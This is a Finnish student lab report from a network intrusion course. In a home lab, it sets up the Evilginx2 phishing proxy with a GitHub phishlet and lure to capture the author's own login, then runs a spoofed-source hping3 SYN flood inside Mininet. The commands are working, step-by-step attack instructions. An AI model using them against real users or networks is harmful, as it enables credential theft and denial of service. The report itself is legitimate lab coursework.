Henry Isakoff 🥕 Verkkoon tunkeutuminen

| Verkkoon tunkeutuminen | 6 min

EvilGNX ja Mininet TCP tulva

Tässä raportissa tutustutaan EvilGNX välimiesproxyyn, sen asentamiseen ja lyhyeseen käyttöön.

Teemme myös mininet ympäristössä TCP-floodsync hyökkäyksen ympäristön sisällä.

Kalastelupalvelin ja kalan asennus.

Aloitetaan lataamalla egnix2 suoraan gitistä koneelle.

git clone https://github.com/kgretzky/evilginx2
cd evilgnix2_xxx 

Ohjelman oma rakentaminen vaatii ’go’ rajapinnan asentamisen. Olen jo itse asentanut tämän aikaisemmin, mutta selvyydeksi mac os koneelle saadaan asennettua brewin kautta.

brew install go

Ja asennuksen jälkeen rakennetaan kansion sisällä.

go build

Katsotaan ls, että rakennus onnistui ja tämän jälkeen voimme käynnistää ohjelman.

Täällä

Nyt voimme yrittää tehdä tällä jotain kivaa. Eli ohjelma on välimiespalvelin ja toimii tottakai parhaiten aitojen sertifikaattien sisällä. Nyt esimerkkimielessä kuitenkin skippaamme kokonaan aidot sertifikaattihaut ja käynnistämme ohjelman -developer lisällä jolloin kaikki sertifikaatit allekirjoitetaan itse.

sudo ./evilginx2 -developer

Haen kuitenkin tätä ennen vanhan phislets yml tiedoston githubista jonka asetan evilngx2 kansion phislets kansioon.

Tämä kertoo miltä haluamme käytännössä tuon kalastelusivun näyttävän. Phislets yml pohjia löytyy tuoltakin sivulta todella paljon, nykyisempiä ja moderneja on myös jaossa. Toki tuollaisen voi myös itse tehdä.

Nyt kuitenkin vanhalla githubin kokonaisuudella eteenpäin.

Lisäämme tälle sivustolle kokonaisuuden url osoitteen huijjaus.koti ja luresin (mistä seurataan input-komentoja) /login sivustolle sisään.

phishlets hostname github huijjaus.koti
lures create github
lures edit 0 path /login

Täälläkin

Nyt lisään vielä uhrikoneelleni simuloimaan osoitetta.

sudoedit /etc/hosts/
42.0.0.3 huijjaus.koti

# tässä 42.0.0.3 on kotiverkkoni kone jossa ajan evilginx2 prosessia.

Näin voin uhrikoneella mennä sivulle (ohittaa varoituksen koska itse-tehty sertifikaatti) ja kirjautua sisälle omaan githubbiin.

Täällä Täälläkin

Salasana tarttuu evilginx2 haaviin!

Pieni oma verkko ja ajoa.

Aloitetaan asentamalla opettajalta saatu mininet ympäristö. Larin tiedosto ollut vmwaren .ova formaatissa ja täytyy vaihtaa se omaan qemu-pohjaiseen (OVMF) virtuaalikoneeseen sopivaksi.

Selvitän ensimmäisenä, että .ova on itsessään vain pakattu arkisto (kiitos gemma3:27b). Eli voin purkaa tämän ihan vaikka tarilla.

tar -xvf sinun_tiedostosi.ova
x extract, v verbose, f file,

Tästä saatu vmdk tiedostumuoto voidaan muuttaa qcow2 muotoon qemu-img ohjelmalla. Molemmat näistä löytyvät siis brewistä suoraan mac oslle.

qemu-img convert -f vmdk -O qcow2 purettu_levykuva.vmdk uusi_levykuva.qcow2

-f vmdk lähtöformaatti -o output formaatti

Lisään tämän levyn uuden virtuaalikoneen kohdelevyksi ja asetan sen myös boottijärjestyksen huipulle. Muuten pidän kaiken aika geneerisenä ja yhdellä ytimellä mennään. Tämä on kevyt testiympäristö, eli paljoa ei resursseja tarvitse tähän antaa.

Unraidin asetukset

Homma käynnistyy. Lisään omaan dns listaan verkkomerkinnät ja dns ohjauksen mininet.koti kokonaisuuteen. Täten pääsen helpoiten sshlla vain tekemään ja verkon sisällä helppo referoida mininet.koti.

Sisällä

Aloitetaan yksinkertaisesti aloittamalla mininet puhtaalta pöydältä ja luomalla yksinkertainen verkko: yhdellä kytkimellä ja kahdella koneella.

sudo mn -c
# NOLLAA KAIKEN!
sudo mn --topo single,2 --mac
# Kaksi asiakasta yksi kytkin

Tämän jälkeen katsotaan, että kaikki toimii joka suuntaan. Hyvä myös tarkastaa, että ip-osoitteet jaettu selkeästi.

pingall
h1 ifconfig
h2 ifconfig

#.1 ja .2 osoitteet hyvät - silloin toiminnassa.

Toimii!

Sitten aloitetaan toisen koneen palvelut (h2) ja aloitetaa hyökkäys koneesta h1.

Konseptina on siis lähettää h1 koneella paketteja, mielikuvituskoneelta h3, koneelle h2. Ja saada h2 lähettämään vastauksia tälle koneelle takaisin. Näin voidaan simuloida esimerkiksi ddos pohjaista liikennettä jossa ”paljon melua tyhjästä”.

En vielä saanut xtermiä toimimaan kuten suositellaan näissä. Opettajalta tullut siihen ohjeet, mutta skippaan nuo nyt. FIKSUA! Katsotaan? Voimme seurata vain lokeista tapahtumat. Mininetissä helppo struktuuri ja vain koneen etuliite kertomaan mitä kys kone tekee. Esim. h1 bash avaa h1 koneen bashin.

Käytän kuitenkin apuna gemma3:27b/ollama luomaan komennot jotka tekevät haluamani. Järjestelmä on suhteellisen uusi minulle, joten oiva apu. Lisäksi ei paljoa haittaa jos tekoäly kertoo ihan muuta.

Nyt voimme tehdä tämän aika yksinkertaisena, koska teemme vain yksinkertaisen hyökkäyksen.

Eli aloitetaan toiseen koneeseem yksinkertainen http-palvelu ja tarkastetaan, että tämä on toiminnassa (varsinkin ilman xterm ikkunaa nämä täytyy tarkastaa, ilman vastausta homma ei rullaa).

h2 python -m SimpleHTTPServer 80 &
h2 netstat -tln | grep :80
h1 nc -zv 10.0.0.2 80
# netcat komento jolla h1 tarkastetaan, että yhteys toimii h2

Toimii!

Sitten aloitetaan tulvattelu. Eli tavoitteena on lähettää mahdollisimman paljon paketteja h2 koneelle .2 osoitteeseen kuvitteellusta koneesta .3

h1 hping3 -S -a 10.0.0.3 -p 80 --faster --count 1000 10.0.0.2
# h1 kone lähettää hping3 SYN/TCP paketteja -a kuvitteellisesta osoitteesta kohdeporttiin 80 --faster mahdollisimman nopeasti 1000kpl ja kohdeosoite.

Tämän jälkeen voimme tarkastaa SYN pakettien saapumiset h2 koneesta

h2 netstat -tn | grep SYN

JA onnistui!

Toimii!

Näemme selkeästi, että .2 kone yrittää lähettää takaisin .3 koneelle vastauksia. Jota ei siis ole olemassa. Vaikka lähetimme 1000 pakettia niin listassa oli vain neljä. Todennäköisimmin linuxissa joku cache suojaus järjestelmä joka estää laajemman skaalan saapumasta perille.

// Lisähuomio. Eli joo TCP SYN Cookies järjestelmä on päällä ubuntussa. Tämän tarkoitus nimenomaan tarkastaa paketit ja keksittää nämä. Näin estetään toistuvien samojen pakettien vastaanotto ainakin teoriassa. Tässä ainakin hyvin toiminut.

Yhteenveto

Mininet on oiva kokonaisuus jossa leikkiä virtuaaliympäristössä. EvilGNX on merkki näiden työkalujen yleisluonteesta. Tuohon löytyviä ulkoasuja löytyy aivan järkyttävä määrä. Tietoturvan tarve on valtava nykymaailmassa.

Lähteet

https://github.com/kgretzky/evilginx2 https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/ https://github.com/mininet/mininet (yleis-distro - tässä käytetty opettajan luomaa) https://github.com/ArchonLabs/evilginx2-phishlets/

Mininetin komentojen luonnissa käytetty apuna gemma3:27b järjestelmää. Kääntäjänä toiminut ollama.

http://ollama.com/ https://ollama.com/library/gemma3:27b

Marked toimii md muuntimena sivulla. https://github.com/markedjs/marked

Sivuston kuvat optimoitu https://optimage.app

Käytetty aika ohjelmistojen tutkimiseen, opetteluun, konseptien ymmärtämiseen ja raportointiin 5h 30min